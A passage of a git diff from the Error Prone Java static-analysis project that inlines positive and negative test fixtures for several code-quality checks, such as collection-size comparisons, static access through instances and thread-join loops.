assertThat(multimap).containsExactly("yolo", arg); + + String key = "hello"; + Object[] value = new Object[] {}; + Object[][] args = new Object[][] {}; + + assertThat(multimap).containsExactly(key, value); + assertThat(multimap).containsExactly(key, value, (Object[]) args); + assertThat(multimap).containsExactly(key, value, key, value, key, value); + } + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/SizeGreaterThanOrEqualsZeroTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/SizeGreaterThanOrEqualsZeroTest.java index e7652f6a8b3..b3b8b28fcff 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/SizeGreaterThanOrEqualsZeroTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/SizeGreaterThanOrEqualsZeroTest.java @@ -38,14 +38,240 @@ public void setUp() { @Test public void collectionSizePositiveCases() { compilationHelper - .addSourceFile("testdata/SizeGreaterThanOrEqualsZeroPositiveCases.java") + .addSourceLines( + "SizeGreaterThanOrEqualsZeroPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.google.common.collect.Iterables; +import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage; +import java.util.ArrayList; +import java.util.Collection; +import java.util.HashMap; +import java.util.HashSet; +import java.util.List; +import java.util.Map; +import java.util.Optional; +import java.util.Set; + +/** + * @author glorioso@google.com (Nick Glorioso) + */ +public class SizeGreaterThanOrEqualsZeroPositiveCases { + private List intList = new ArrayList<>(); + private Set intSet = new HashSet<>(); + private Map intMap = new HashMap<>(); + private Collection intCollection = intList; + + public boolean collectionSize() { + + // BUG: Diagnostic contains: !intList.isEmpty() + boolean foo = intList.size() >= 0; + + // BUG: Diagnostic contains: !intSet.isEmpty() + foo = intSet.size() >= 0; + + // BUG: Diagnostic contains: !intSet.isEmpty() + foo = 0 <= intSet.size(); + + // BUG: Diagnostic contains: !intMap.isEmpty() + foo = intMap.size() >= 0; + + // BUG: Diagnostic contains: !intCollection.isEmpty() + foo = intCollection.size() >= 0; + + // Yes, that works as java code + // BUG: Diagnostic contains: !new ArrayList().isEmpty() + if (new ArrayList().size() >= 0) {} + + CollectionContainer baz = new CollectionContainer(); + + // BUG: Diagnostic contains: !baz.intList.isEmpty() + if (baz.intList.size() >= 0) {} + + // BUG: Diagnostic contains: !baz.getIntList().isEmpty() + if (baz.getIntList().size() >= 0) {} + + // BUG: Diagnostic contains: !Iterables.isEmpty(baz.getIntList()) + foo = Iterables.size(baz.getIntList()) >= 0; + + return foo; + } + + public void stringLength() { + String myString = "foo"; + CharSequence charSequence = myString; + StringBuffer stringBuffer = new StringBuffer(myString); + StringBuilder stringBuilder = new StringBuilder(myString); + boolean foo = false; + + // BUG: Diagnostic contains: !myString.isEmpty() + foo = myString.length() >= 0; + + // BUG: Diagnostic contains: !"My String Literal".isEmpty() + foo = "My String Literal".length() >= 0; + + // BUG: Diagnostic contains: !myString.trim().substring(0).isEmpty(); + foo = myString.trim().substring(0).length() >= 0; + + // BUG: Diagnostic contains: charSequence.length() > 0 + foo = charSequence.length() >= 0; + + // BUG: Diagnostic contains: stringBuffer.length() > 0 + foo = stringBuffer.length() >= 0; + + // BUG: Diagnostic contains: 0 < stringBuffer.length() + foo = 0 <= stringBuffer.length(); + + // BUG: Diagnostic contains: stringBuilder.length() > 0 + foo = stringBuilder.length() >= 0; + } + + private static int[] staticIntArray; + private int[] intArray; + private boolean[][] twoDarray; + + public boolean arrayLength() { + + // BUG: Diagnostic contains: intArray.length > 0 + boolean foo = intArray.length >= 0; + + // BUG: Diagnostic contains: twoDarray.length > 0 + foo = twoDarray.length >= 0; + + // BUG: Diagnostic contains: staticIntArray.length > 0 + foo = staticIntArray.length >= 0; + + // BUG: Diagnostic contains: twoDarray[0].length > 0 + foo = twoDarray[0].length >= 0; + + // BUG: Diagnostic contains: 0 < twoDarray[0].length + foo = 0 <= twoDarray[0].length; + + // BUG: Diagnostic contains: (((((twoDarray))))).length > 0 + foo = (((((twoDarray))))).length >= 0; + + return foo; + } + + public void protoCount(TestProtoMessage msg) { + boolean foo; + // BUG: Diagnostic contains: foo = !msg.getMultiFieldList().isEmpty(); + foo = msg.getMultiFieldCount() >= 0; + // BUG: Diagnostic contains: foo = !msg.getMultiFieldList().isEmpty(); + foo = 0 <= msg.getMultiFieldCount(); + // BUG: Diagnostic contains: foo = !(((((msg))))).getMultiFieldList().isEmpty(); + foo = (((((msg))))).getMultiFieldCount() >= 0; + // BUG: Diagnostic contains: if (!this.getMsg(msg).get().getMultiFieldList().isEmpty()) { + if (this.getMsg(msg).get().getMultiFieldCount() >= 0) { + foo = true; + } + } + + private Optional getMsg(TestProtoMessage msg) { + return Optional.of(msg); + } + + private static class CollectionContainer { + List intList; + + List getIntList() { + return intList; + } + } +}""") .doTest(); } @Test public void collectionSizeNegativeCases() { compilationHelper - .addSourceFile("testdata/SizeGreaterThanOrEqualsZeroNegativeCases.java") + .addSourceLines( + "SizeGreaterThanOrEqualsZeroNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage; +import java.util.ArrayList; +import java.util.Collection; +import java.util.HashSet; +import java.util.List; +import java.util.Set; + +/** + * @author glorioso@google.com (Nick Glorioso) + */ +public class SizeGreaterThanOrEqualsZeroNegativeCases { + private List intList = new ArrayList<>(); + private Set intSet = new HashSet<>(); + private Collection intCollection = intList; + + public boolean testEquality() { + boolean foo; + foo = intList.size() > 0; + foo = intSet.size() >= 1; + foo = intCollection.size() <= 0; + foo = intCollection.size() == 0; + foo = intCollection.size() < 0; + + if (new ArrayList().size() > 0) {} + + CollectionContainer baz = new CollectionContainer(); + if (baz.intList.size() >= 1) {} + if (baz.getIntList().size() >= 1) {} + + // These are incorrect comparisons, but we've chosen to not attempt to find these issues + foo = (((((new HasASizeMethod()))))).size() >= 0; + foo = new HasASizeMethod().length >= 0; + + return foo; + } + + private static int[] staticIntArray; + private int[] intArray; + private boolean[][] twoDarray; + + public boolean arrayLength() { + int zero = 0; + + boolean foo = intArray.length > 0; + foo = twoDarray.length >= 1; + foo = staticIntArray.length >= -1; + foo = twoDarray[0].length > 0; + foo = (((((twoDarray))))).length > zero; + + return foo; + } + + public void protoCount(TestProtoMessage msg) { + int zero = 0; + boolean foo; + foo = msg.getMultiFieldCount() > 0; + foo = 0 < msg.getMultiFieldCount(); + foo = 0 > msg.getMultiFieldCount(); + foo = msg.getMultiFieldCount() >= 1; + foo = msg.getMultiFieldCount() >= -1; + foo = msg.getMultiFieldCount() < 0; + foo = (((((msg))))).getMultiFieldCount() > zero; + foo = msg.getTestFieldNamedCount() >= 0; // Not a repeated field, just name ending in `count` + } + + private static class CollectionContainer { + List intList; + + List getIntList() { + return intList; + } + } + + private static class HasASizeMethod { + public int length = 0; + + public int size() { + return length; + } + } +}""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/StaticQualifiedUsingExpressionTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/StaticQualifiedUsingExpressionTest.java index d0d8a0a1f8d..515d4c46cc2 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/StaticQualifiedUsingExpressionTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/StaticQualifiedUsingExpressionTest.java @@ -36,21 +36,249 @@ public class StaticQualifiedUsingExpressionTest { @Test public void positiveCase1() { compilationHelper - .addSourceFile("testdata/StaticQualifiedUsingExpressionPositiveCase1.java") + .addSourceLines( + "StaticQualifiedUsingExpressionPositiveCase1.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.math.BigDecimal; + + /** + * @author eaftan@google.com (Eddie Aftandilian) + */ + class MyClass { + + static int STATIC_FIELD = 42; + + static int staticMethod() { + return 42; + } + + int FIELD = 42; + + int method() { + return 42; + } + + static class StaticInnerClass { + static final MyClass myClass = new MyClass(); + } + } + + class MyStaticClass { + static MyClass myClass = new MyClass(); + } + + public class StaticQualifiedUsingExpressionPositiveCase1 { + + public static int staticVar1 = 1; + private StaticQualifiedUsingExpressionPositiveCase1 next; + + public static int staticTestMethod() { + return 1; + } + + public static Object staticTestMethod2() { + return new Object(); + } + + public static Object staticTestMethod3(Object x) { + return null; + } + + public void test1() { + StaticQualifiedUsingExpressionPositiveCase1 testObj = + new StaticQualifiedUsingExpressionPositiveCase1(); + int i; + + // BUG: Diagnostic contains: variable staticVar1 + // i = staticVar1 + i = this.staticVar1; + // BUG: Diagnostic contains: variable staticVar1 + // i = staticVar1 + i = testObj.staticVar1; + // BUG: Diagnostic contains: variable staticVar1 + // i = staticVar1 + i = testObj.next.next.next.staticVar1; + } + + public void test2() { + int i; + Integer integer = Integer.valueOf(1); + // BUG: Diagnostic contains: variable MAX_VALUE + // i = Integer.MAX_VALUE + i = integer.MAX_VALUE; + } + + public void test3() { + String s1 = new String(); + // BUG: Diagnostic contains: method valueOf + // String s2 = String.valueOf(10) + String s2 = s1.valueOf(10); + // BUG: Diagnostic contains: method valueOf + // s2 = String.valueOf(10) + s2 = new String().valueOf(10); + // BUG: Diagnostic contains: method staticTestMethod + // int i = staticTestMethod() + int i = this.staticTestMethod(); + // BUG: Diagnostic contains: method staticTestMethod2 + // String s3 = staticTestMethod2().toString + String s3 = this.staticTestMethod2().toString(); + // BUG: Diagnostic contains: method staticTestMethod + // i = staticTestMethod() + i = this.next.next.next.staticTestMethod(); + } + + public void test4() { + BigDecimal decimal = new BigDecimal(1); + // BUG: Diagnostic contains: method valueOf + // BigDecimal decimal2 = BigDecimal.valueOf(1) + BigDecimal decimal2 = decimal.valueOf(1); + } + + public static MyClass hiding; + + public void test5(MyClass hiding) { + // BUG: Diagnostic contains: method staticTestMethod3 + // Object o = staticTestMethod3(this.toString()) + Object o = this.staticTestMethod3(this.toString()); + // BUG: Diagnostic contains: variable myClass + // x = MyClass.StaticInnerClass.myClass.FIELD; + int x = new MyClass.StaticInnerClass().myClass.FIELD; + // BUG: Diagnostic contains: variable STATIC_FIELD + // x = MyClass.STATIC_FIELD; + x = new MyClass.StaticInnerClass().myClass.STATIC_FIELD; + // BUG: Diagnostic contains: variable hiding + // StaticQualifiedUsingExpressionPositiveCase1.hiding = hiding; + this.hiding = hiding; + // BUG: Diagnostic contains: variable STATIC_FIELD + // x = MyClass.STATIC_FIELD; + x = MyStaticClass.myClass.STATIC_FIELD; + // BUG: Diagnostic contains: method staticMethod + // x = MyClass.staticMethod(); + x = MyStaticClass.myClass.staticMethod(); + + x = MyStaticClass.myClass.FIELD; + x = MyStaticClass.myClass.method(); + } + + static class Bar { + static int baz = 0; + + static int baz() { + return 42; + } + } + + static class Foo { + static Bar bar; + } + + static void test6() { + Foo foo = new Foo(); + // BUG: Diagnostic contains: method baz + // x = Bar.baz(); + int x = Foo.bar.baz(); + Bar bar = Foo.bar; + // BUG: Diagnostic contains: variable bar + // bar = Foo.bar; + bar = foo.bar; + // BUG: Diagnostic contains: variable baz + // x = Bar.baz; + x = Foo.bar.baz; + } + + static class C { + static int foo() { + return 42; + } + } + + public void test7() { + // BUG: Diagnostic contains: method foo + // x = C.foo(); + int x = new C().foo(); + } + }""") .doTest(); } @Test public void positiveCase2() { compilationHelper - .addSourceFile("testdata/StaticQualifiedUsingExpressionPositiveCase2.java") + .addSourceLines( + "StaticQualifiedUsingExpressionPositiveCase2.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author eaftan@google.com (Eddie Aftandilian) + */ + public class StaticQualifiedUsingExpressionPositiveCase2 { + + private static class TestClass { + public static int staticTestMethod() { + return 1; + } + } + + public int test1() { + // BUG: Diagnostic contains: method staticTestMethod + // return TestClass.staticTestMethod() + return new TestClass().staticTestMethod(); + } + }""") .doTest(); } @Test public void negativeCases() { compilationHelper - .addSourceFile("testdata/StaticQualifiedUsingExpressionNegativeCases.java") + .addSourceLines( + "StaticQualifiedUsingExpressionNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author eaftan@google.com (Eddie Aftandilian) + */ + public class StaticQualifiedUsingExpressionNegativeCases { + + public static int staticVar1 = 1; + + public static void staticTestMethod() {} + + public void test1() { + Integer i = Integer.MAX_VALUE; + i = Integer.valueOf(10); + } + + public void test2() { + int i = staticVar1; + i = StaticQualifiedUsingExpressionNegativeCases.staticVar1; + } + + public void test3() { + test1(); + this.test1(); + new StaticQualifiedUsingExpressionNegativeCases().test1(); + staticTestMethod(); + } + + public void test4() { + Class klass = String[].class; + } + + @SuppressWarnings("static") + public void testJavacAltname() { + this.staticTestMethod(); + } + + @SuppressWarnings("static-access") + public void testEclipseAltname() { + this.staticTestMethod(); + } + }""") .doTest(); } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/StringBuilderInitWithCharTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/StringBuilderInitWithCharTest.java index 9d17b8827d8..98e894e35ef 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/StringBuilderInitWithCharTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/StringBuilderInitWithCharTest.java @@ -33,14 +33,46 @@ public class StringBuilderInitWithCharTest { @Test public void positiveCases() { compilationHelper - .addSourceFile("testdata/StringBuilderInitWithCharPositiveCases.java") + .addSourceLines( + "StringBuilderInitWithCharPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author lowasser@google.com (Louis Wasserman) + */ + public class StringBuilderInitWithCharPositiveCases { + { + // BUG: Diagnostic contains: new StringBuilder("a") + new StringBuilder('a'); + // BUG: Diagnostic contains: new StringBuilder("\\"") + new StringBuilder('"'); + char c = 'c'; + // BUG: Diagnostic contains: new StringBuilder().append(c) + new StringBuilder(c); + } + }""") .doTest(); } @Test public void negativeCases() { compilationHelper - .addSourceFile("testdata/StringBuilderInitWithCharNegativeCases.java") + .addSourceLines( + "StringBuilderInitWithCharNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author lowasser@google.com (Louis Wasserman) + */ + public class StringBuilderInitWithCharNegativeCases { + { + new StringBuilder("a"); + new StringBuilder(5); + new StringBuilder(); + } + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/StringSplitterTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/StringSplitterTest.java index d740d58a5b6..3f74ecbcb38 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/StringSplitterTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/StringSplitterTest.java @@ -486,14 +486,51 @@ void f() { @Test public void stringSplitPositive() { CompilationTestHelper.newInstance(StringSplitter.class, getClass()) - .addSourceFile("testdata/StringSplitterPositiveCases.java") + .addSourceLines( + "StringSplitterPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * Positive test cases for StringSplitter check. + * + * @author dturner@twosigma.com (David Turner) + */ + public class StringSplitterPositiveCases { + + public void StringSplitOneArg() { + String foo = "a:b"; + // BUG: Diagnostic contains: + String[] xs = foo.split(":"); + } + }""") .doTest(); } @Test public void stringSplitNegative() { CompilationTestHelper.newInstance(StringSplitter.class, getClass()) - .addSourceFile("testdata/StringSplitterNegativeCases.java") + .addSourceLines( + "StringSplitterNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * Negative test cases for StringSplitter check. + * + * @author dturner@twosigma.com (David Turner) + */ + public class StringSplitterNegativeCases { + public void StringSplitTwoArgs() { + String foo = "a:b"; + foo.split(":", 1); + } + + public void StringSplitTwoArgsOneNegative() { + String foo = "a:b"; + foo.split(":", -1); + } + }""") .doTest(); } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/SuppressWarningsDeprecatedTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/SuppressWarningsDeprecatedTest.java index b330421ca0e..c8883d8c658 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/SuppressWarningsDeprecatedTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/SuppressWarningsDeprecatedTest.java @@ -35,14 +35,124 @@ public class SuppressWarningsDeprecatedTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/SuppressWarningsDeprecatedPositiveCases.java") + .addSourceLines( + "SuppressWarningsDeprecatedPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + /* + * Copyright 2012 The Error Prone Authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + /** + * Positive cases for {@link SuppressWarningsDeprecated}. + * + * @author sjnickerson@google.com (Simon Nickerson) + */ + public class SuppressWarningsDeprecatedPositiveCases { + + // BUG: Diagnostic contains: @SuppressWarnings("deprecation") + @SuppressWarnings("deprecated") + public static void positiveCase1() {} + + // BUG: Diagnostic contains: @SuppressWarnings("deprecation") + @SuppressWarnings({"deprecated"}) + public static void positiveCase2() {} + + // BUG: Diagnostic contains: @SuppressWarnings({"deprecation", "foobarbaz"}) + @SuppressWarnings({"deprecated", "foobarbaz"}) + public static void positiveCase3() {} + + public static void positiveCase4() { + // BUG: Diagnostic contains: @SuppressWarnings({"deprecation", "foobarbaz"}) + @SuppressWarnings({"deprecated", "foobarbaz"}) + int a = 3; + } + + public static void positiveCase5() { + // BUG: Diagnostic contains: @SuppressWarnings("deprecation") + @SuppressWarnings("deprecated") + int a = 3; + } + + public static void positiveCase6() { + // BUG: Diagnostic contains: @SuppressWarnings("deprecation") + @SuppressWarnings("deprecated") + class Foo {} + ; + } + + public static void positiveCase7() { + // BUG: Diagnostic contains: @SuppressWarnings({"deprecation", "foobarbaz"}) + @SuppressWarnings({"deprecated", "foobarbaz"}) + class Foo {} + ; + } + + // BUG: Diagnostic contains: @SuppressWarnings(value = "deprecation") + @SuppressWarnings(value = {"deprecated"}) + public static void positiveCase8() {} + + // BUG: Diagnostic contains: @SuppressWarnings(value = "deprecation") + @SuppressWarnings(value = "deprecated") + public static void positiveCase9() {} + }""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/SuppressWarningsDeprecatedNegativeCases.java") + .addSourceLines( + "SuppressWarningsDeprecatedNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * Negative cases for {@link SuppressWarningsDeprecated}. + * + * @author sjnickerson@google.com (Simon Nickerson) + */ + public class SuppressWarningsDeprecatedNegativeCases { + @SuppressWarnings({"deprecation"}) + public static void negativeCase1() {} + + @SuppressWarnings("deprecation") + public static void negativeCase2() {} + + public static void negativeCase3() { + @SuppressWarnings({"deprecation"}) + int a = 3; + } + + public static void negativeCase4() { + @SuppressWarnings("deprecation") + int a = 3; + } + + public static void negativeCase5() { + @SuppressWarnings({"deprecation"}) + class Foo {} + Foo a = null; + } + + public static void negativeCase6() { + @SuppressWarnings("deprecation") + class Bar {} + Bar b = null; + } + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/SwigMemoryLeakTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/SwigMemoryLeakTest.java index 05871a2734e..291ae69433c 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/SwigMemoryLeakTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/SwigMemoryLeakTest.java @@ -32,11 +32,76 @@ public class SwigMemoryLeakTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/SwigMemoryLeakPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "SwigMemoryLeakPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +/** + * @author irogers@google.com (Ian Rogers) + */ +public class SwigMemoryLeakPositiveCases { + private long swigCPtr; + protected boolean swigCMemOwn; + + public SwigMemoryLeakPositiveCases(long cPtr, boolean cMemoryOwn) { + swigCMemOwn = cMemoryOwn; + swigCPtr = cPtr; + } + + public synchronized void delete() { + if (swigCPtr != 0) { + if (swigCMemOwn) { + swigCMemOwn = false; + // BUG: Diagnostic contains: SWIG generated code that can't call a C++ destructor will leak + // memory + throw new UnsupportedOperationException("C++ destructor does not have public access"); + } + swigCPtr = 0; + } + } +}""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/SwigMemoryLeakNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "SwigMemoryLeakNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author irogers@google.com (Ian Rogers) + */ + public class SwigMemoryLeakNegativeCases { + private long swigCPtr; + protected boolean swigCMemOwn; + + public SwigMemoryLeakNegativeCases(long cPtr, boolean cMemoryOwn) { + swigCMemOwn = cMemoryOwn; + swigCPtr = cPtr; + } + + @SuppressWarnings("removal") // deprecated for removal starting in JDK 18 + protected void finalize() { + delete(); + } + + public synchronized void delete() { + if (swigCPtr != 0) { + if (swigCMemOwn) { + swigCMemOwn = false; + nativeDelete(swigCPtr); + } + swigCPtr = 0; + } + } + + private static native void nativeDelete(long cptr); + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ThreadJoinLoopTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ThreadJoinLoopTest.java index ce5b230b216..f737fee9f56 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ThreadJoinLoopTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ThreadJoinLoopTest.java @@ -38,19 +38,566 @@ public void setup() { @Test public void positiveCases() { - compilationTestHelper.addSourceFile("testdata/ThreadJoinLoopPositiveCases.java").doTest(); + compilationTestHelper + .addSourceLines( + "ThreadJoinLoopPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author mariasam@google.com (Maria Sam) on 7/10/17. + */ + class ThreadJoinLoopPositiveCases { + + public void basicCase(Thread thread) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + } catch (InterruptedException e) { + // ignore + } + } + + public void emptyInterruptedFullException(Thread thread) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + } catch (InterruptedException e) { + // ignore + } + } + + public void emptyException(Thread thread) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + } catch (Exception e) { + // ignore + } + } + + public void emptyCatchStatements(Thread thread) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + } catch (Exception e) { + ; + ; + } + } + + public void whileLoop(Thread thread) { + while (true) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + } catch (InterruptedException e) { + // ignore + } + } + } + + public void whileLoopCheck(Thread thread) { + while (thread != null) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + } catch (InterruptedException e) { + // ignore + } + } + } + + public void whileLoopVariable(Thread thread, boolean threadAlive) { + while (threadAlive) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + threadAlive = false; + } catch (InterruptedException e) { + // ignore + } + } + } + + public void basicLoopOtherStatements(Thread thread) { + while (7 == 7) { + System.out.println("test"); + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + } catch (InterruptedException e) { + // ignore + } + } + } + + public void breakStatement(Thread thread) { + while (7 == 7) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + break; + } catch (InterruptedException e) { + // ignore + } + } + } + + private void whileLoopBreak(Thread thread) { + while (true) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + break; + } catch (InterruptedException e) { + /* try again */ + } + } + } + + private void whileLoopThreadAlive(Thread thread) { + while (thread.isAlive()) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + } catch (InterruptedException e) { + // Ignore + } + } + } + + public void multipleStatements(Thread thread, boolean isAlive) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + isAlive = false; + } catch (InterruptedException e) { + // ignore + } + } + + private void arrayJoin(Thread[] threads) { + for (int i = 0; i < threads.length; i++) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(threads[i]) + threads[i].join(); + } catch (InterruptedException e) { + // ignore + } + } + } + + class MyThread extends Thread { + + public void run() { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(this) + join(); + } catch (InterruptedException e) { + // ignore + } + } + + public void whileInThread() { + while (isAlive()) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(this) + join(); + } catch (InterruptedException e) { + // Ignore. + } + } + } + } + }""") + .doTest(); } @Test public void negativeCases() { - compilationTestHelper.addSourceFile("testdata/ThreadJoinLoopNegativeCases.java").doTest(); + compilationTestHelper + .addSourceLines( + "ThreadJoinLoopNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.List; + + /** + * @author mariasam@google.com (Maria Sam) on 7/10/17. + */ + public class ThreadJoinLoopNegativeCases { + + public void basicCase(Thread thread) throws InterruptedException { + thread.join(); + } + + public void inIf(Thread thread) { + try { + if (7 == 7) { + thread.join(); + } + } catch (InterruptedException e) { + e.printStackTrace(); + } + } + + public void basicCaseTry(Thread thread) { + try { + thread.join(); + } catch (InterruptedException e) { + e.printStackTrace(); + } + } + + public void basicCaseWhile(Thread thread, List list) { + while (list.size() == 7) { + try { + thread.join(); + } catch (InterruptedException e) { + e.printStackTrace(); + } + } + } + + public void basicCaseFor(Thread thread, List list) { + for (int i = 0; i < list.size(); i++) { + try { + thread.join(); + } catch (InterruptedException e) { + e.printStackTrace(); + } + } + } + + public void basicCaseForEach(Thread thread, List list) { + for (String str : list) { + try { + thread.join(); + } catch (InterruptedException e) { + e.printStackTrace(); + } + } + } + + public void multipleCatches(Thread thread, int[] arr) { + try { + thread.join(); + int test = arr[10]; + } catch (ArrayIndexOutOfBoundsException e) { + // ignore + } catch (InterruptedException e) { + System.out.println("test"); + } + } + + public void fullInterruptedFullException(Thread thread) { + try { + thread.join(); + } catch (InterruptedException e) { + e.printStackTrace(); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public void justException(Thread thread) { + try { + thread.join(); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public void multipleMethodInvocations(Thread thread, Thread thread2) { + try { + thread.join(); + thread2.join(); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public void tryFinally(Thread thread) { + try { + thread.join(); + } catch (InterruptedException e) { + // ignore + } finally { + System.out.println("test finally"); + } + } + + public void tryAssigningThread(Thread thread) { + while (true) { + try { + thread.join(); + thread = null; + } catch (InterruptedException e) { + // ignore + } + } + } + }""") + .doTest(); } @Test public void fixes() { BugCheckerRefactoringTestHelper.newInstance(ThreadJoinLoop.class, getClass()) - .addInput("testdata/ThreadJoinLoopPositiveCases.java") - .addOutput("testdata/ThreadJoinLoopPositiveCases_expected.java") + .addInputLines( + "ThreadJoinLoopPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author mariasam@google.com (Maria Sam) on 7/10/17. + */ + class ThreadJoinLoopPositiveCases { + + public void basicCase(Thread thread) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + } catch (InterruptedException e) { + // ignore + } + } + + public void emptyInterruptedFullException(Thread thread) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + } catch (InterruptedException e) { + // ignore + } + } + + public void emptyException(Thread thread) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + } catch (Exception e) { + // ignore + } + } + + public void emptyCatchStatements(Thread thread) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + } catch (Exception e) { + ; + ; + } + } + + public void whileLoop(Thread thread) { + while (true) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + } catch (InterruptedException e) { + // ignore + } + } + } + + public void whileLoopCheck(Thread thread) { + while (thread != null) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + } catch (InterruptedException e) { + // ignore + } + } + } + + public void whileLoopVariable(Thread thread, boolean threadAlive) { + while (threadAlive) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + threadAlive = false; + } catch (InterruptedException e) { + // ignore + } + } + } + + public void basicLoopOtherStatements(Thread thread) { + while (7 == 7) { + System.out.println("test"); + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + } catch (InterruptedException e) { + // ignore + } + } + } + + public void breakStatement(Thread thread) { + while (7 == 7) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + break; + } catch (InterruptedException e) { + // ignore + } + } + } + + private void whileLoopBreak(Thread thread) { + while (true) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + break; + } catch (InterruptedException e) { + /* try again */ + } + } + } + + private void whileLoopThreadAlive(Thread thread) { + while (thread.isAlive()) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + } catch (InterruptedException e) { + // Ignore + } + } + } + + public void multipleStatements(Thread thread, boolean isAlive) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + isAlive = false; + } 